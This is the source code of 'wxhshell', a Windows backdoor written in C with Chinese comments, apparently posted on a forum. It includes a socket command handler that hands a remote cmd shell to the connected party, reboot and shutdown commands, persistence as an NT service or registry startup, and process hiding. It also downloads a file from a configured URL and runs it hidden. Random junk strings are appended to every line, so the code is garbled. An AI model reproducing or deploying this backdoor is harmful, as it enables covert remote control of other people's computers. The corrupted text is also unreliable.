    switch(cmd[0]) { a#@ opUn-  
  ";%1sK  
  // 帮助 $x<-PN  
  case '?': { {GY$J<5=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <CdO& xUY  
    break; 3*L,48wX  
  } 'c]&{-w<i  
  // 安装 WV5R$IqY  
  case 'i': { HKf3eC  
    if(Install()) AS398L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WfI~l)  
    else Z r*ytbt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EyiM`)!5  
    break; 34:=A0z  
    } Z%{2/mQ  
  // 卸载 '1IH^<b  
  case 'r': { : DP{YL|x  
    if(Uninstall()) QX/`s3N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y"U&3e,  
    else L.(k8eX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6&cU*Io@  
    break; \^D`Hvg  
    } o qTh )  
  // 显示 wxhshell 所在路径 q2Dg~et  
  case 'p': { /_HL&|N_5  
    char svExeFile[MAX_PATH]; v\Gu  
    strcpy(svExeFile,"\n\r"); QUO?q+  
      strcat(svExeFile,ExeFile); epePx0N%x$  
        send(wsh,svExeFile,strlen(svExeFile),0); 36z{TWF  
    break; owB)+  
    } pQ JZE7S  
  // 重启 W@LR!EW)  
  case 'b': { hHQt4 r'd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #=c%:{O{4R  
    if(Boot(REBOOT)) \qPrY.-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \(s ";@  
    else { {0~ p"%*  
    closesocket(wsh);  G%{jU'2  
    ExitThread(0); _,QUH"  
    } bzTM{<]sv  
    break; ) eV]M~K:  
    } jA'+>`@  
  // 关机  +yk>jx  
  case 'd': { bT |FJ\aC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !cZIoz  
    if(Boot(SHUTDOWN)) Uk#1PcPd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `3Y+:!q  
    else { N_U D7P1  
    closesocket(wsh); Ex{]<6UAu  
    ExitThread(0); ?M);wBe(  
    } -b<+Ra  
    break; J=Z"sU=  
    } G9TUU.T  
  // 获取shell 6\L,L &  
  case 's': { VEk|lX;2  
    CmdShell(wsh); .)Q'j94Q  
    closesocket(wsh); CEiG jo^  
    ExitThread(0); f3O'lc3  
    break; }OZfsYPz}T  
  } #N:o)I  
  // 退出 0n%`Xb0q  
  case 'x': { x :s-\>RcA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o<;"+@v  
    CloseIt(wsh); U-d&q>_@A  
    break; aE}u5L$#  
    } {Ffr l(*  
  // 离开 0&)4^->c  
  case 'q': { \_oHuw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YR>xh2< 9  
    closesocket(wsh); fQ@["b   
    WSACleanup(); o5d)v)Rx=  
    exit(1); 9 (Z)c  
    break; QGa"HG5NF  
        } -3C~}~$>`  
  } . Hw^Nx  
  } -Cl0!}P4I  
iD9GAe}x  
  // 提示信息 kE1u-EA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R~o?X ^^O  
} qohUxtnTK>  
  } ay2.C BF  
pAYuOk9n  
  return; {chl+au*l  
} g~]FI  
W/+0gh7`,(  
// shell模块句柄 }5|uA/B  
int CmdShell(SOCKET sock) q>?oV(sF  
{ :'03*A_[  
STARTUPINFO si; JL1Whf  
ZeroMemory(&si,sizeof(si)); M~v{\!S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d] {^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X#fI$9a  
PROCESS_INFORMATION ProcessInfo; Cs<d\"+  
char cmdline[]="cmd"; FTn[$q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z+4J4Ka^!(  
  return 0; F C"dQ  
} Y,{Xv  
K-/fq=z  
// 自身启动模式 ?%?@?W>s@  
int StartFromService(void) !GO4cbdQ  
{ N?aU<-Tn  
typedef struct #qzozQ4  
{ ^K8Ey#T  
  DWORD ExitStatus; .- w*&Hd7b  
  DWORD PebBaseAddress; e(b*T  
  DWORD AffinityMask; hP #>`)aNY  
  DWORD BasePriority; y3l sAe#  
  ULONG UniqueProcessId; 6D>o(b2  
  ULONG InheritedFromUniqueProcessId; sXAXHZ{  
}   PROCESS_BASIC_INFORMATION; a`}HFHm\2,  
:)&_  
PROCNTQSIP NtQueryInformationProcess; FXIQS'  
E/ Pa0.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L(iWFy1& T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hTF]-& hZ  
W n|w~{d{  
  HANDLE             hProcess; jl@xcs]#  
  PROCESS_BASIC_INFORMATION pbi; VE!h!`<k  
_d: l1jD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l+@NjZGm<  
  if(NULL == hInst ) return 0; 3S Dw-k  
]kr OPM/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Al! P=h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1L3L!@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mwBOhEefNJ  
\'shnzs  
  if (!NtQueryInformationProcess) return 0; V7.EDE2A3  
Nt/>RCh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =OCHV+m  
  if(!hProcess) return 0; /P320[B}m&  
4e* rBTl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8{'L:yzMY  
}I !D65-#'  
  CloseHandle(hProcess); J?V8uEly  
k#U?Xs>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m)&2zV/Q  
if(hProcess==NULL) return 0; wj5{f5 RWV  
S?&ntUah  
HMODULE hMod; %1S;y  
char procName[255]; (2 X`imJ  
unsigned long cbNeeded; tONxV`  
v]BN.SHE_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $Z #  
P@)z Nik[  
  CloseHandle(hProcess); lO[[iMHl<  
>%t"VpvR  
if(strstr(procName,"services")) return 1; // 以服务启动 R'He(x  
GC.   
  return 0; // 注册表启动 2!}5shB  
} |GLa `2q|  
y<MXd,eE  
// 主模块 oQAD 3a  
int StartWxhshell(LPSTR lpCmdLine) c&ymVB?G:1  
{ b8(94t|;U  
  SOCKET wsl; sRqFsj}3e  
BOOL val=TRUE; bNi\+=v<Ys  
  int port=0; ?FJU>+{">  
  struct sockaddr_in door; K.B!-<  
=5isT  
  if(wscfg.ws_autoins) Install(); qh{hpX)\D  
Pi`}-GUe,  
port=atoi(lpCmdLine); ]F P(,:Yw  
Enyx+]9  
if(port<=0) port=wscfg.ws_port; )V7bi^r  
~0eJ6i  
  WSADATA data; r1f##  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (X;D.s  
s:CsUl|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MqRpG5 .  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p{gJVP#l'Z  
  door.sin_family = AF_INET; U*b1yxt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .}C pX  
  door.sin_port = htons(port); yal T6  
 Q#i[Y?$L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DHQavHqbZ  
closesocket(wsl); ly9.2<oz}L  
return 1; bkTk:-L5:  
} [7 oU =  
)cxLpTr  
  if(listen(wsl,2) == INVALID_SOCKET) { qXcHf6  
closesocket(wsl); J sde+G,N  
return 1; 5=(fuY3  
} ^z>3+oi  
  Wxhshell(wsl); DAa??/,x7  
  WSACleanup();  *Yj!f68  
9l<f?OzAO  
return 0; ,6J]oX  
'W(!N%u  
}   
j#6@ cO'`  
// 以NT服务方式启动 ap,%)on^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) = wEU+R_#o  
{ #l2KJ7AMK  
DWORD   status = 0; CEzwI _  
  DWORD   specificError = 0xfffffff; iEjUo, Y[  
F|nJ3:v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <2{g[le  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WTK )SKa,.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W!6&T [j>  
  serviceStatus.dwWin32ExitCode     = 0; &V"9[0  
  serviceStatus.dwServiceSpecificExitCode = 0; P3Ocfpf Bp  
  serviceStatus.dwCheckPoint       = 0; ^26vP7  
  serviceStatus.dwWaitHint       = 0; VEFUj&t;xW  
PaIE=Q4gJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O(pa;&"  
  if (hServiceStatusHandle==0) return; U~H]w ,^  
.d/e?H:  
status = GetLastError(); $IUe](a{d  
  if (status!=NO_ERROR) Qx<86aKkF  
{ w`ebZa/j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?y"= jn  
    serviceStatus.dwCheckPoint       = 0; .Aj4?AXWc  
    serviceStatus.dwWaitHint       = 0; H+lBb$  
    serviceStatus.dwWin32ExitCode     = status; (m:ktd=x  
    serviceStatus.dwServiceSpecificExitCode = specificError; B bP&-c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <9Sg,ix't  
    return; n;QMiz:yY  
  } S3fyt]pp  
O S?S$y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dK.k,7R  
  serviceStatus.dwCheckPoint       = 0; 4+?d0  
  serviceStatus.dwWaitHint       = 0; 8p"R4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @?bO@  
} {XR 3L'X  
NW?.Ge.!P  
// 处理NT服务事件,比如:启动、停止 -0P(lkylf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zw ,( kv  
{ Xlg 0u.  
switch(fdwControl) >_esLsPWh]  
{ NRIp@PIF:"  
case SERVICE_CONTROL_STOP: Z @f4=  
  serviceStatus.dwWin32ExitCode = 0; ,]FcWx \u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U?/C>g%/PI  
  serviceStatus.dwCheckPoint   = 0; J2Y S+%K  
  serviceStatus.dwWaitHint     = 0; 4rDa Jd>,  
  { $e#V^dph  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5,vw%F-m  
  } ^(79SOZC  
  return; V)q|U6R  
case SERVICE_CONTROL_PAUSE: ip)gI&kN`z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D^dos`L0b  
  break; # cGn5c}  
case SERVICE_CONTROL_CONTINUE: S29k IJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jq_E{Dq1  
  break; X7."hGu@  
case SERVICE_CONTROL_INTERROGATE: i`st'\I  
  break; Z~[EZgIg  
}; $-4 Zi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A*x3O%zH  
} `bAOhaB,/  
E=3UaYr  
// 标准应用程序主函数 %Bxp !Bj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J!+)v  
{ 'cgB$:T}.,  
T #OrsJdu  
// 获取操作系统版本 <4Ev3z*;Z  
OsIsNt=GetOsVer(); `514HgR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); OK8|w]-A  
=hAH6C  
  // 从命令行安装 o W<Z8s;p  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^E]Xq]vd"  
e<Bw duy  
  // 下载执行文件 og$%`o:{  
if(wscfg.ws_downexe) { x9Oo.[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hAi`2GP.  
  WinExec(wscfg.ws_filenam,SW_HIDE); CO5>Q o  
} K+P:g%M  
a]]>(Txc  
if(!OsIsNt) { myq:~^L ;  
// 如果时win9x,隐藏进程并且设置为注册表启动 LFwRTY,G  
HideProc(); **KkPjAO?  
StartWxhshell(lpCmdLine); L;%_r)  
} wbImE;-Z  
else $v \@mW*R  
  if(StartFromService()) u#bd*(  
  // 以服务方式启动 gR#lRA/  
  StartServiceCtrlDispatcher(DispatchTable); %D_pTD\  
else }eLnTi{  
  // 普通方式启动 Or:a\qQ1  
  StartWxhshell(lpCmdLine); KB@F^&L {  
S!oG|%VuB#  
return 0; 'h*^;3@*  
}
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只看该作者 1 发表于: 2006-10-10
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